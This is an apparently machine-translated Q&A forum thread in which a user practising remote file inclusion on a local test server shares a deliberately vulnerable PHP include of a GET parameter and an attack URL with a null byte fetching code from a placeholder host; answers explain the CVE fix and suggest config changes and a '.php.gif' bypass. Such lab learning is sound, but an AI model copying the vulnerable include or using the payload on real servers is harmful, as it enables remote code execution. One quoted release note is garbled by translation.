PHP byte nulo incluye la búsqueda de fallos buscados

3

Estoy viendo un tutorial en YouTube sobre cómo incluir archivos remotos o locales a través de un comando de inclusión estándar.

Aquí está el código:

<?php

if(isset($_GET["language"])) {
    $language = $_GET["language"];
    include($language."gif");
}

?>

Obtuve esto en un servidor web local (WAMP) y hago el tutorial que me dice que haga.

localhost/inctest/index.php?language=http://www.example.com/badcode.php%00
  

Advertencia: include (): Error al abrir   ' enlace ' para su inclusión   (include_path = '.; C: \ php \ pear') en C: \ wamp \ www \ inctest \ index.php on   línea 5

mi PHP.ini:

allow_url_include = On

Eliminé mi propio dominio y le cambié el nombre a example.com .

¿Qué me perdí?

    
pregunta Daniel 08.11.2013 - 14:22
fuente

3 respuestas

3

Null Byte Poisoning es una vulnerabilidad bastante antigua, que ya se ha corregido desde la versión 5.3.4 de PHP. Anuncio de publicación :

Paths with NULL in them (foo
Paths with NULL in them (foo%pre%bar.txt) are now considered as invalid (CVE-2006-7243).
bar.txt) are now considered as invalid (CVE-2006-7243).

Si está seguro de que su versión de PHP es correcta, intente inyectar algún recurso remoto sin el carácter de NULL-byte en la ruta, para verificar si allow_url_* está configurado correctamente en php.ini .

    
respondido por el p____h 11.11.2013 - 23:27
fuente
2

Creo que también debe incluir en el php.ini la directiva de: allow_url_fopen para que se establezca en 1

Esto permite que las URL remotas se carguen usando fopen, pero considerando que no estás usando fopen, supongo que no es realmente aplicable, pero vale la pena intentarlo, no obstante.

También puedes probar register_globals esta variable controla si se pueden inyectar variables arbitrarias en un script a través de un parámetro de URL.

[Edit◆

Desactive magic_quotes_gpc , ya que puede evitar que se produzca una inyección de bytes nulos.

    
respondido por el DarkMantis 08.11.2013 - 15:12
fuente
0

Como este es un archivo remoto, incluye una vulnerabilidad que no necesita depender de la inyección de bytes nulos, simplemente sirva el código malicioso con una extensión .gif como esta: http://www.example.com/badcode.php.gif

    
respondido por el wireghoul 09.12.2014 - 22:35
fuente

Lea otras preguntas en las etiquetas